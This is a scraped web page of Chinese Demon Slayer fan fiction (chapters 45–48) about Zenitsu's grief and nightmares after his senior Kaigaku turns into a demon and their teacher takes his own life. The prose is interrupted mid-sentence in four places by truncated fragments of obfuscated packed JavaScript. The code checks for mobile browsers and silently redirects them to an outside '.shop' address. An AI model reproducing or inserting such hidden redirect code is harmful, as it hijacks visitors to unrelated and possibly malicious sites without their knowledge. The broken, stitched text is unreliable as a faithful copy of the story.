RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298579|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想过的道路。 这么说的意思是,他得到了黑死牟大人进一步的认可? 即便是鬼,仍在修习呼吸法,还得到了继子的待遇。兜兜转转,好像又回到了原本的道路一样。 不,这是一条更好的道路。 毕竟这条路上,可没有我妻善逸这块令他无法释怀的绊脚石。 而没有了他这个讨人厌的师兄,雷之呼吸的继承人只剩我妻善逸一个,那废物也一定会松了一口气。就是老师比较可怜,只能指望那种家伙当上柱了。 哈哈,这辈子都不可能吧。 ……毕竟,连他都差了那么一点。 一点点。 想到这里,黑死牟的手就不容置疑地搭了上来,阻断思考阻断犹豫。 时间会证明,他才是对的,他才是赢家。 ——大概。 世界的另一边,我妻善逸做了个梦。 应该是个美梦吧,梦里有桃山,一颗颗树上结满了粉白的桃子;梦里还有爷爷,正靠坐在桃树下小憩。 “爷爷,我回来啦!”他听见自己在梦里大喊大叫,“你看我带谁回来了?” 唔,应该是小祢豆子吧。毕竟自己看上去那么高兴,肯定是要和小弥豆子结婚,所以才把她带来给爷爷看…… 不是。 修长的有力的手,和他差不多的身高,利落反翘的短发,那是—— 师兄,狯岳?! 噩梦啊,绝对是噩梦! 如果梦能被我妻善逸控制,此刻的他,一定会尖叫着甩开狯岳的手,逃到爷爷身边吧……不不不,应该是狯岳甩开他的手,狯岳从来不会主动牵他的手。 但梦里的他,只自顾自拉着狯岳向爷爷走去。 走着走着,狯岳身上还发生了不得了的变化: 皮肤失去血色,发白发青,还爬上了怪异的纹路。耳朵变尖,从莫名笑着的表情可以看出,他连牙齿都变尖了。 更可怕的是他的眼睛。 巩膜从白色变成黑色,衬得那双原本美丽清澈的、碧翠的虹膜仿佛变小了,上面还刻着难看的字样。 那字样正是—— 上弦六。 卧槽。 师兄变成鬼了!还是上弦! ……也蛮合理的,毕竟在他看来,师兄有柱的实力,还没成柱只是功绩累积没到位而已。如果师兄真的变成了鬼,上弦的确是合适的位置。 呜哇,那完蛋了,以师兄的实力,一定会给鬼杀队带来很多麻烦吧…… 呃,场景怎么变了,怎么有好多奇怪的建筑? 还有还有,那个冲着狯岳拔刀的自己,是怎么回事? 别吧,他怎么可能打得过师兄,还是不要送死比较好。反正变成鬼了也不一定会吃人,如果师兄像小祢豆子那样不吃人,他岂不是也可以像炭治郎那样,把师兄背在背上? 讨厌啦,那样的话,他们两个不像真兄弟一样了吗? 那时候他改口叫师兄大哥的话,一定不会被反驳吧! 所以,那边那个他,干什么呢? 把刀放回去,和师兄好好说话啊,笨蛋! 咦,这是什么型,怎么会这么帅……啊咧? 骗人。 师兄的脑袋,为什么掉下来了?! ——这才是,真的噩梦。 梦里的我妻善逸发出一声尖锐的惊叫。 现实中的我妻善逸也同样尖叫出声。 45.第四十五章 “大半夜的,鬼叫什么呢?!” 被吵醒的其他队士中,有人厉声抱怨。 因为柱训练的缘故,平日里难得一见的同僚们聚集在各位柱的府邸,住宿也安排在一起。 所以,一旦发出过高的声音,不管是谁,立马会引起众人的关注。 白天的时候,忍不住抱怨训练艰苦的我妻善逸,已经招来了许多白眼;晚上的时候,再打扰大家休息的话,恐怕会让事态进一步升级。 “……对不起!对不起……我出去一下。” 他只好小声、再小声,一边道歉,一边从房间里溜了出去。 等溜出去之后,才意识到,自己白天训练累得要死,晚上休息也没休息好,浑身都痛。 但这些痛,都比不过心里的痛。 仿佛有钉子凿了进去,又仿佛被掏了个洞,还仿佛有什么说不清道不明的东西,铅一样灌入心口,沉沉下坠。 ……不对。 他刚才,梦见了什么来着? 因为吵到其他人的缘故,他没有及时回忆梦境,于是梦里的一切像露水一样消散开来,了无痕迹。 连痛苦也随之减淡,好像那股痛彻心扉的感觉,只是错觉一样。 ——不,那不是错觉。 他听见自己迷茫的心跳。 心跳声似乎在提醒他,有什么重要的事情。 不要放弃。 不要忘记。 我妻善逸被杂物绊了一下,踉跄着差点跌倒。 找回平衡后,摩挲着前往庭院,坐在边廊上,看着天上洒下的纯净月光,心里发慌。 “炭治郎,你在哪里?”他可怜兮兮地抱紧自己。“尹之助都不等我,把柱训练当成游戏一样,打完一关就急吼吼地去了下一关。我一个人好寂寞好害怕……爷爷,柱训练好难,我不想努力了,反正我永远比不上那个人……可恶……” 那个人。 师兄。 狯岳。 现在在哪里,又在做什么呢? 不管他在做什么,都不可能像他一样,对着月亮发呆吧。 如果是那个人,看到现在的他,一定会皱起眉头,发出嫌弃的声音,露出看见垃圾的眼神。 狯岳一定会假装不认识他,转身就走。 真讨厌,这么难的训练,稍微懈怠一下怎么了? 又不是彻底摆烂。 何况,他通过柱训练的速度,也不算慢吧。 隐的统计数据证明,他属于顶尖人才那一波。 ……虽然还是比不上狯岳就是了。 只有最开始,在音柱那里做基础训练的时候,我妻善逸的时间才和狯岳的时间重叠;那之后,狯岳就就以极高的效率通过了下一个柱训练,消失在了他面前。 大约是因为,那家伙,根本不想再看到他吧。 噫,好伤心好难过好可怜。 “你会不会想太多了?”曾经一起出过任务的,愿意搭理他的队士委婉地劝道,“或许尹之助只是有那个实力,所以不想浪费时间?” 我妻善逸:“……” 我妻善逸:“我说的不是尹之助。” “那是谁?” “不告诉你。” “……喂!” 不告诉你。 不告诉任何人。 ……虽然其他人可能知道、或者猜到。 毕竟,雷之呼吸很难入门,连音柱都学不会、被迫自创呼吸法,现在的使用者,只有他和狯岳两个人而已。 爷爷说这是缘分。 狯岳说这是孽缘。 我妻善逸……我妻善逸说: 孽缘也是缘。 “一天从早到晚哭个不停,你就不害臊吗?”回忆中,狯岳那张恶毒的嘴一开一合,白瞎了那副好皮囊,“老师把时间花在你身上,完全是浪费。” 就算被说过这么难听的话,可惜,这也是没办法的事情。 那时候,他的确一天到晚哭哭啼啼、怎么训练都没有成果,浪费爷爷的时间。 比较起来,狯岳就不一样了,明明只比他大不了多少,人却比他有骨气得多, 看上去很可靠,事实上也是如此。 脊背挺直,只在爷爷面前弯过;眼神凌厉,从来不会露出软弱的情绪。 对这样努力又执着的师兄,他打从心底尊敬他。 他想像爷爷说得那样,以师兄为榜样,向他学习,向他靠近,总有一天,或许能和他并肩而行。 就是训练实在痛苦,难以忍受。 明明总想着必须振作一点,却还是轻易害怕,总想着逃跑,老是哭个不停。 不仅无法满足旁人的期待,连自己的期待都无法满足…… 可话又说回来,如果目标是狯岳那种程度的家伙,或许旁人的期待还更容易达成一点。 总之,那样耀眼的狯岳,会讨厌懦弱无能的自己,也算情有可原。 不过,现在不一样。 他通过了藤袭山的试炼,他完成了鬼杀队颁发的任务,他在和十二鬼月的战斗中变强了,他甚至开始思考自己的型。 这样的他,已经不算浪费爷爷的时间了吧? 这样的他,是不是有资格和师兄一起并肩作战了呢? 总觉得再努力一把,就能和他搞好关系,就能得到师兄的认可,但旁人的议论钻入脑海: “那个狯岳,连一之型都不会,还一副瞧不起人的样子……” “他一定当不上柱,迟早会死掉的吧……” ——这些人,这些人! 怎么可以这样说他! 等回过神来的时候,我妻善逸已经和上级队士打成一团。 鬼杀队内部阶级分明,这种违反队律的事情,想也知道是什么后果。 而狯岳只觉得,我妻善逸给他惹了麻烦。 “你闲得没事可以去训练,而不是殴打上级,惹是生非。”他厌烦地转过身,“有你这样的同门,真是丢脸。” ——可这都是为了你啊。 我妻善逸低着头,一句话都不想说。 为什么,狯岳连问都不问,直接认为是他的错呢? 狯岳讨厌他,已经到了不分青红皂白的地步吗? 为什么,狯岳和爷爷会是两个极端? 他也有在努力啊! 虽然性格没法改,但实力还是有提升的啊! 如果狯岳能像爷爷一样喜欢他就好了——不,喜欢不可能,只要多点耐心,对他好一点就好了,可是狯岳偏不。 这种时候,如果能哭一场就好了,但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300890|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼眶干涩,一滴眼泪都没有。 明明他很委屈。 明明他是很容易掉眼泪的人。 啊啊,他早该知道的。 和无论如何,都不打算抛弃他的爷爷不同。 狯岳打从一开始,就抛弃了他。 “善逸,你为什么要拔花瓣?”终于养好伤,赶上训练进度的灶门炭治郎疑惑地看着正糟蹋鲜花的我妻善逸,“还一片片地拔。” “在做决定……啊,说话说忘了,”我妻善逸抓狂,“刚才是讨厌还是不讨厌来着?” “……对不起,我说话打扰了你。” “哎呀,不是你的错,是我不够专心。”我妻善逸又把魔爪伸向另外一朵花。“再来一次就好了。” 灶门炭治郎就闭上嘴,看着他继续“讨厌”、“不讨厌”地揪花瓣。 眼看最后一片花瓣是讨厌的时候,就见我妻善逸一把将花朵揉碎:“这片花瓣破了,不算。” 灶门炭治郎:“……” 灶门炭治郎:“那就是不讨厌。” “哈啊?!”我妻善逸打了个激灵,立刻反驳,“才不是,那家伙讨厌死了!最讨厌!” “那是谁?” “……” “……” “现、现在不告诉你。” “……” “……” “行吧,想说的时候,欢迎随时来找我商谈哦。” “谢谢。” 对不起,炭治郎! 虽然很感谢你的关心,但这是他一个人的心事,不想轻易出口的秘密。 即便狯岳性格恶劣,态度糟糕,为人讨厌…… 可他是师兄,是他尊敬的人,是最接近柱的甲级队士,是属于他……又不属于他的,宝物。 总觉得,一旦说出口,就会被人抢走。 可又有谁会抢走狯岳这样嘴巴毒、脾气差的坏师兄呢? 但我妻善逸不管。 他人的期待对他来说,是可怕的负担。一旦达不到他人的期待,就会被抛弃,这是他十多年孤儿生涯的血泪教训。 爷爷是一个奇迹,他对他有期待,但就算他不满足爷爷的期待,爷爷也不会抛弃他。 狯岳……狯岳是一个意外,他对他毫无期待,从无接受,也就无所谓抛不抛弃的事情了。 或许是他大言不惭,他总觉得,狯岳心中装幸福的箱子……破了洞。 内心已经伤得千疮百孔,外表却变得异常坚强。甚至像月亮一样,散发出皎洁的光芒,迎着光的一面犹如光洁的玉盘,掩盖住球面满是坑洼的真相。 我妻善逸就是被这样的光芒吸引而来。 因为破洞的存在,不管往里面装多少都填不满,于是持续不断地发出不满足的声音。 这声音传到我妻善逸的耳朵里,也只能传到他的耳朵里。 所以他无法视而不见,所以他要帮忙把破洞补起来才行。 抛开脚边落了一地的花瓣,不管狯岳为人怎样,不管狯岳到底怎么想,我妻善逸都已经做好了决定。 他想要摘下这枚月亮。 不管要花多少时间,他都会去尝试做这件事。这不仅是为了狯岳,也是为了爷爷,为了他自己。 索性,他们还有时间……吧? 46.第四十六章 “果然,凡事需要对比。” 拖着差点被不死川实弥干掉的不死川玄弥,我妻善逸心有余悸,拍了拍胸口。 至少,狯岳从来没有打算把他直接干掉,最生气的时候,也仅仅是拿很容易躲的软桃砸了他一下而已。 这岂不是意味着,狯岳对他,其实也不坏? 毕竟,他嘴巴毒归毒,讲的都是事实;在教他基础的时候,也言之有物,并不是毫无道理的责骂。 还有当初那下,连狯岳都想不到,他居然躲都不躲吧? 结论:狯岳一定是嘴硬心软! 我妻善逸就这么成功说服了自己,用同情的眼神看着差点瞎掉的不死川玄弥。 不死川玄弥脸上浮起凶恶的表情:“你那是什么眼神?” “……这不重要。”我妻善逸才不怕他,清了清嗓子。“重要的是,你下次最好小心一点,不一定还会有人及时来救。” 话音落下,不死川玄弥急了。 “大哥他,他一定只是一时冲动!”他为自家大哥辩解。“一定不会有下一次了,他平时不这样……喂,我是说真的!” “好好好,你加油。” “喂喂!” 不死川玄弥差点瞎了依然不准旁人说不死川实弥坏话,就算不死川实弥不领情也不改初衷,这就是家人吧。 狯岳……狯岳也是他的家人。 起码在对家人的包容上,他认为,自己绝不会比不死川玄弥差。 绝对不会! “……善逸,你为什么突然燃起来了?”路过的灶门炭治郎好奇地问,“遇到什么好事了吗?” 我妻善逸:“……” 我妻善逸:“一、一时兴起啦。” 而就在他做好决定的当天晚上。 噩梦重现。 似曾相识的昏暗屋舍,似曾相识的华丽剑技。 以及狯岳那挂着不可置信表情的头颅。 只有头。 梦中的他伸出双手,抱紧这颗头颅,毫无抵抗地坠下深渊。 “善逸,善逸!”耳边传来灶门炭治郎的声音,肩膀被用力摇晃,“你没事吧?!” 下一刻,我妻善逸猛地睁开眼睛。 他胸口剧烈起伏,喘着气开口:“炭、炭治郎?” “是我。”灶门炭治郎的关心地问:“你做噩梦了吗?一副很辛苦的样子。” “啊……嗯,做噩梦了。”我妻善逸的脸上一片冰凉,已然泪流满面。“好可怕的梦……炭治郎,为什么……” 梦中的他,竟然杀掉了师兄? 都说日有所思夜有所梦,难不成,他潜意识里,其实讨厌师兄? 还讨厌到了恨不得杀掉对方的地步? 那又什么,要抱着师兄的头流泪? “怎么了?”又有其他队士被吵醒,“发生什么事了吗?” “没什么,睡吧。” 灶门炭治郎轻声安抚,于是那些人偃旗息鼓。 他用鼓励和支持的目光看着我妻善逸,我妻善逸张了张口: “对不起,”他移开视线,“请……再等一下。” 灶门炭治郎:“……” 灶门炭治郎:“道什么歉,我又不是非逼你说出来不可。” “呜,谢谢你,炭治郎!” 他还没做好把狯岳说出来的心理准备。 该怎么向炭治郎介绍狯岳呢? 看他不顺眼的师兄? 好丢脸! 他希望自己在介绍的时候,能够说出“狯岳是我为之骄傲的大哥”这句话。 即便他现在就为狯岳感到骄傲,但狯岳并不认可他,一定会说出“不要叫我大哥”这种拒绝的话。 说不定还会冲着炭治郎耍脾气,给炭治郎留下不好的印象,让所有人都尴尬。 他不希望狯岳给炭治郎留下不好的印象。 炭治郎是个好人,一定会站在他这一边,还会试图帮他和狯岳搞好关系,就像对待不死川兄弟那样。 虽然有点辜负炭治郎的好意……不过,他不希望其他人对狯岳进行任何批判,哪怕人们站在了他这一边。 而且,就算狯岳的性格确实像恶鬼一样,在他的梦里居然真的变成了鬼、还是上弦六…… 多少有点恶意揣测的意味。 这种事,说出口就像诅咒一样,他可不想给狯岳招晦气,以及挨社会主义铁拳。 变成鬼的祢豆子很可爱,但变成鬼的狯岳? 唔,小时候的狯岳一定也很可爱! 小孩子都这样,性格再恶劣,也能被童稚的外表掩盖。 至于现在的狯岳嘛,只能呵呵。 所以,还不是时候。 再等等吧。 等他和狯岳打好关系,再把他介绍给朋友们吧。 这样,他喜欢的人,和喜欢他的人,就能好好相处,那时候的他,一定无比幸福。 “不过,师兄最近在执行什么秘密任务吗?” 我妻善逸从啾太郎的爪下取出退回的信件。 “写的信连收都没收,还是第一次吔。” 啾太郎似乎有什么事情想说,绕着我妻善逸跳来跳去,但他听不懂,只拂开这只小麻雀: “别放在心上,找不到人我也不会怪你的,去那边自己玩啦。” 啾太郎:笨蛋,是那个黑头发绿眼睛的人失踪啦! 鎹鸦之间都在传,有一支巡逻小队的队士可能遭遇了上弦,连鎹鸦都没能逃出来,全军覆没。 我妻善逸的师兄狯岳,也在其中。 “一般来说,可以直接认定为战死吧?毕竟连刀都落下了。” “现场勘察发现,血量不对。” “难道不是被吃掉了吗?” “也有可能是逃掉了。” “需要通知培育师吧。” “但是,狯岳这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303225|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字,比较特殊。” 接着,连乌鸦都闭口不言,直到确凿的消息传来: 有鎹鸦目击,前鸣柱继子狯岳,已经化身为鬼。 “堕落了呀。堕落成了鬼。” “好可惜,本来差一点就要成为柱了。” “哪里可惜,是幸运好不好,柱叛逃成鬼才是笑话。” “不应该啊,那孩子怎么会变成鬼?” “也没有那么意外吧,毕竟是那个狯岳。” “就算是那个狯岳,也不至于是这样的结果。” “什么至不至于,都已经这样了。” “……” “……” “还是先通知培育师吧。” 乌鸦振翅,把这个令人遗憾的消息传递出去。 躺在病榻上的产屋敷耀哉叹了一口气: “那孩子,居然走上了这么一条不归路吗。” 代笔的天音夫人问:“他有可能,像祢豆子一样,成为我们的助力吗?” “……还是不要寄望于这种小概率事件比较好。” 产屋敷一族的夙愿,是铲除鬼舞辻无惨,解除身上病痛和短寿的诅咒。 这过程中的悲天悯人,不过是顺应天性的附带产物而已。 光和鬼对抗就已经拼尽全力的他们,是没有必要,也没有义务去甄别每一只鬼的善恶的,更别说判断某只鬼是否值得拯救了。 这些,都是小节。 太浪费时间精力了。 尤其在命运发生巨变的当下,狯岳个人的遭遇,必将淹没在时代的浪潮当中。 “才转变几天的小鬼,信念也好、能力也好,都不足为虑。”产屋敷耀哉摇了摇头,“需要重视,但也不需要太重视。真正的心腹大患……并不是他。” 任何问题,归根结底,都是数字问题。 只要通过堆砌其他卒子,能把鬼方的优势拉平,那就派人去兑好了,他虽然深感心痛,眼睛却不会眨一下。 对产屋敷一族来说,狯岳的变节并非无法预料。 可惜的是,当初看在桑岛慈悟郎的份上,瞒着悲鸣屿行冥,给出的一次机会,终究还是浪费了。 即便狯岳曾立下许多功劳、差点升柱,并不是一无是处…… 都不是他背叛鬼杀队的理由。 鬼杀队是你死我活的暴力组织,不是你好我好的商业会社。 产屋敷之所以付出高薪,就是要买队士的命。 加入就要赌上自己的性命作战,背叛就要从源头肃清,这是理所当然的事情。一切以结果为导向,没有情有可原,没有迫不得已。 组织不关心,组织不在乎。 组织只要能解决问题,无所谓解决问题的人。 以目前的情况来看,组织也只能希望他以后给鬼杀队带来的杀伤,能尽可能小一点。 真正在乎狯岳本身的,只有和他息息相关的寥寥数人而已。 47.第四十七章 谁又不是这样的呢? 如果不是灶门炭治郎坚持,本没有人在意灶门祢豆子的死活。 就算灶门炭治郎坚持,也没有多少人在意灶门祢豆子的死活。 事不关己,大家都多一事不如少一事,还得靠产屋敷压下异议,才让她没在柱合会议被直接处刑。 只可惜,我妻善逸不是灶门炭治郎,桑岛慈悟郎不是麟泷左近次,狯岳成不了下一个祢豆子。 在得知弟子化鬼的消息后,桑岛慈悟郎,直接切腹自杀了。 得到消息的天音夫人:“……” 这下,才是真的没有转圜的余地了呢。 培育师死了,鬼杀队还剩下的雷之呼吸使用者只有我妻善逸,我妻善逸又只会一之型。 如果我妻善逸接下来要和狯岳拼命,这门威力极大的呼吸法岂不是要失传? “唉。”天音夫人忍不住叹了一口气。“接下来,得通知我妻队士才行。” 有弥豆子的先例在,我妻善逸本不在乎狯岳到底是人是鬼。 但既然桑岛慈悟郎为此付出了生命的代价,就必须找到那个,需要对这件事以命相偿的人。 以目前的情报来看,那个责任人,正是狯岳。 “善逸……发生什么事了吗?” 灶门炭治郎闻到了不妙的味道。 “没什么。”我妻善逸背对着他。“我要去推石头。” “……这个时间还去?” “当然。” 因为狯岳变成了鬼。 所以爷爷切腹了。 觉得无地自容吧,悉心教导的雷之呼吸继承人,居然背叛了鬼杀队,背叛了人类,堕落成了鬼。 狯岳,师兄,大哥。 你那么努力,那么优秀,那么强大,为什么会偏离正道,变成鬼?! 明明心中感到痛苦,眼泪却掉不下来。 脑子里乱糟糟,一会儿是爷爷欣慰的脸庞,一会儿是狯岳冷淡的背影。爷爷的面貌不费吹灰之力占了上风,一切都化成了可怕的想象: 爷爷没有找人介错,自顾自把刀捅进腹部,孤零零地,痛苦万分地死去了。 想到这里,他猛地发力,试图将眼前的巨石推动,但很遗憾,和过去数次的尝试一样。 石头,一动不动。 再怎么捶打、推搡,都一动不动。 为什么,为什么他那么没用,连块石头都推不动?! 忍不住用脑袋去碰石头,于是血代替眼泪流了出来。头痛代替了心痛,精神反而放松下来,有种恍然大悟的感觉。 “那是……我必须要做的事。” 找到他。 惩罚他。 爷爷用自己的死为狯岳负责。 他要用狯岳的死为狯岳负责。 他浑身战栗,为此感到恐惧。他对这种恐惧感十分熟悉。每当听到人们在心里抛弃他的时候,他就会产生这样的感觉。 这一次,也是狯岳先抛弃了他,抛弃了爷爷。 所以,他同样要抛弃狯岳才行。 他必须将他抛弃,这是他的职责。 ——如果这不是他的职责就好了。 他只能对那不曾实现的梦想放手。 ——不想放手,不要放手。 对前路的种种憧憬,不过海市蜃楼而已。 ——是他的错,都是他害的。 他要代表什么都做不到了的爷爷,惩罚狯岳。 “善逸,你这样绝对不行。”灶门炭治郎看不下去了,拉住了我妻善逸。“白天训练那么辛苦,晚上又睡不好,这样下去,在变强之前,身体会先垮掉。” “没关系。”我妻善逸顶着浓重的黑眼圈,一脸阴沉。“我感觉很好。” 好你个鬼。 灶门炭治郎强硬地抓住我妻善逸的肩膀:“等你感觉到不妙,就晚了。白天的事情我不管,起码晚上的时候,你不能再做噩梦了。” “那是预知梦。” “……什么?” “我梦到我大发神威,把上弦鬼斩掉了。” 灶门炭治郎:那应该是个美梦才对。 但从我妻善逸的表现来看,根本不是。 所以,“付出了很大的代价?” “……嗯。” “那些代价可以不付吗?” “……不可以。”而且已经付出去了,收不回来。 灶门炭治郎苦恼地挠了挠头,想了好一会儿: “那梦里的你,后悔吗?” 是后悔的吧。 不然为什么总是在梦到斩杀狯岳之后,继续梦到一些不可能发生的事情。 比如像祢豆子一样变小的狯岳,裹着他的明黄色羽织,乖巧地待在他怀里。 比如难得没有皱紧眉头的狯岳,看着正在训练的他,露出平静而温柔的表情。 这都是他的想象,是不可能发生的事情——绝对不可能。 狯岳不可能露出那样的表情。 他们之间的关系不可能发生那样的改善。 梦中越温馨,醒过来的时候就越恨。 是狯岳的错。 如果不是他变成了鬼,他们本可以拥有那样幸福的时光。是他毁掉了一切。毁掉了桃山毁掉了爷爷毁掉了家—— “……善逸,善逸!听我说话,不要走神!” “对不起。”我妻善逸晃了晃自己的脑袋,“你说了什么?” “既然感到后悔的话,就不要去做了。” “……” “……” “什么?”我妻善逸睁大眼睛,“为了……为了,最终的胜利,有些事情是必须要去做的吧?” 灶门炭治郎目光游移了一阵,开口: “虽然这么说有点对不起主公大人、拼死作战的各位柱和其他队士、努力奉献的隐还有为此付出良多的协助者们,啊,以及动物们,鎹鸦麻雀老鼠……” “……你这免责条款是不是太长了一点?” “总之,举例来说,”灶门炭治郎清了清嗓子,“如果为了杀死鬼舞辻无惨,祢豆子就必须去死,我是不愿意的。” 他顿了顿:“绝对。” “……” “需要用祢豆子来换的胜利,不是我想要的胜利。” 我妻善逸看了他一会儿,把头偏过去:“小祢豆子反而会愿意吧,我听过刀匠村的事。” “那、那也不行!” “可小祢豆子自己愿意的话,炭治郎的反对也没法太强硬。” “……乱讲,我当然会强硬地反对!” ——但你的心可没有你的嘴巴那么硬。 因为炭治郎的心里不止有小弥豆子,还有很多很多其他人。炭治郎愿意为了他们牺牲。小弥豆子也愿意为了他们牺牲。 真好啊。 炭治郎、小弥豆子,都是这么好、这么可爱的人。 不像狯岳,那么坏、那么可恨。 他们是不一样的。 狯岳只会为了自己拔刀,他不把桃山当成自己的家。 小弥豆子不会害死自己的家人,她会为保护家人而战。 梦里的他,为杀掉了狯岳而后悔。 但不杀掉狯岳,他胸中这股因爷爷惨死而无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319926|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抑制的愤怒,又该安放何处? “……如果。” 我妻善逸喃喃道,灶门炭治郎洗耳恭听。 ——如果,小祢豆子在被你拘束之前,就已经吃了人,你会怎么办? 如果,小弥豆子没忍住,在之后吃了人,你又会怎么办? 我妻善逸头脑发晕,刚打算把问题问出口,又给了自己一巴掌,把话吞了回去。 不行,不能给炭治郎添麻烦。 这种过分的假设,太拷问人性,也太侮辱努力坚持到现在的小祢豆子了。 贸然说出口,只会给他们造成不必要的困扰。 炭治郎已经非常辛苦,他不应该把自己的痛苦转嫁到他身上。 “如果,你,”我妻善逸话锋一转,“你今天再努力一把,就可以离开这里,去下一项训练了吧。” “啊……嗯。”灶门炭治郎点了点头。“但是,我很担心你。” “你也有你的事要做,别担心我。”我妻善逸笑了笑。“我会调整好自己的,又不是小孩子了。” “……” “……” “需要帮助的话,一定要跟我说哦。” “嗯,一定。” 这天晚上的梦,我妻善逸久违地没有梦见自己将狯岳斩首,也没有梦见那些虚假的美好,而是梦见了过去,梦见了桃山。 刚上山不久,掉进训练用陷阱的自己,因为扭伤了脚踝,趴在土坑边缘,哭得稀里哗啦。 努力一把,说不定可以爬出来,却不想自己爬出来。 虽然被爷爷救了,欠了一大笔钱,可他不想为了钱赌上性命去杀鬼。那种事情他绝对做不到的,说不定刚出道就会变成鬼的口粮。 而且,新认识的师兄也不喜欢他,不,绝对是被讨厌了。 第一次见面就知道了,师兄那雷鸣般的心声把他吓得恨不得转身就跑。 天色很晚了,说不定爷爷会让师兄来找他。这样的师兄,就算被爷爷吩咐了,也一定不会认真找他,说不定会放他在陷阱里呆很久,好让他受点教训。 受到教训的他,伤势一定会加重,明天的训练就可以逃掉了吧…… ——然后就被师兄极其迅速地找到了。 以为会被骂,会被嘲笑,但师兄只是“啧”了一声,就把他从陷阱里拎了出来,问: “能走吗?” 那当然是不能。 可是在这个讨厌自己的师兄面前,他不敢像对爷爷那样讨价还价,只咬着牙说: “能。” 话音落下,师兄扭头就走,把拖着伤腿的他甩在后面,一下子消失不见。 山路崎岖,本就不太好走。就在他以为自己要慢慢挪回去的时候,师兄折返回来,又“啧”了一声,在他面前蹲下身,没好气地说: “上来。” 我妻善逸听着师兄愈发不耐烦的心声,在他爆发之前,小心翼翼地爬了上去,把手贴在师兄的后背。 腿被师兄的手拖住,膝盖碰在师兄的腰间,呼吸喷在师兄的后颈,吹动细软的发丝。 师兄的体温有点高——也许是因为急着找他的缘故——透过接触的部位传递过来,让他头脑随之发热。 虽然嘴巴坏、态度不好、看他不顺眼…… 可这样的师兄,真的好像别人家的大哥一样。 梦里的我妻善逸安心地闭上眼睛。 现实的我妻善逸用手臂压上眼睛。 外力压迫视网膜,产生细密的白光,似有似无的幻觉在白光印衬下,清晰可辨。 ——这双烙上了你的背影的眼睛,好想戳瞎掉啊。 48.第四十八章 当上弦一的继子,和当前鸣柱的继子,完全是两个概念。 桑岛慈悟郎要求他努力训练,继承雷之呼吸,最好能当上鸣柱。 黑死牟要求他努力训练,继承……没有继承。 能学会月之呼吸就学,学不会? 那也没关系,本来对他就没什么特别的期待。 “那上弦一收你当继子干嘛?”被上门请教的猗窝座失望地戳了戳被揍成饼的狯岳,“我还以为,能通过你,破解那家伙的月之呼吸呢。” 狯岳:“……” 狯岳:“我有在学,但是呼吸法的转换需要时间。” “那你加油,一定要学会,不要辜负我的期待。” 谁要管你的期待啊。 狯岳在心里翻白眼: “我会努力的。” “是吗?听起来不像会努力的样子。” “……” 什么话! “我当然会努力!”狯岳还给自己留了点余地,“不管学不学得会月之呼吸,我都会努力变强。雷之呼吸练到极致,说不定——不,一定能赢过月之呼吸!” 话音落下,猗窝座惊奇地睁大眼睛:“你还蛮有志气的嘛。” “……不这样,我变成鬼也没有意义啊。” 不这样,会被黑死牟直接宰掉的好不好。 为了活下去,他必须向黑死牟展现出自己的价值。 努力锻炼,成为强者,这就是黑死牟的要求。 ……大概。 猗窝座赞赏地拍了拍他的脑袋:“不错,实力不算弱,性格还上进,不愧是那家伙捡回来的猫。” 猫你个头! 再次确认,这位上弦三,就是个实打实的战斗狂。 “我怎么就遇不到你这样的好苗子呢?”猗窝座叹气。“识时务的没实力,有实力的不识时务。对了,鬼杀队有个叫做杏寿郎的柱,你知道吧?” “……知道。” 炎柱,炼狱杏寿郎。 在上弦三这么强大的对手面前,死战不退,保护了一整条无限列车上的数百人,实力、人品俱佳。 只可惜,自己死掉了。 ……死掉了就什么都没有了。只沦为恶鬼口中的谈资而已。 “杏寿郎真的很强,光看就知道了。”猗窝座用遗憾的口气说。“他甚至比现在的你还强一点——啊,别难过,加上鬼的再生能力就不一定了。” 狯岳:“……” 狯岳:“我没难过。” 但他这时候的表情一定很难看,不然猗窝座不会继续安慰他: “放心,我才刚揍过你,据我判断,你再沉淀一两个月,就能赶上他了。” “……是吗。” “在柱里面,你不是最弱的。我还宰过比你弱得多的柱呢。” “……我不是柱。” “咦,鬼杀队的晋升机制有问题吧?” “感谢你的认可,但我加入鬼杀队的时间不久,也没遇到过下弦。” “对哦,你还是个小孩子。” “……我也不是小孩子。” ——真踏马谢谢你,猗窝座。 这家伙的话,再一次提醒他,他距离柱的位置,就差那么一点点。 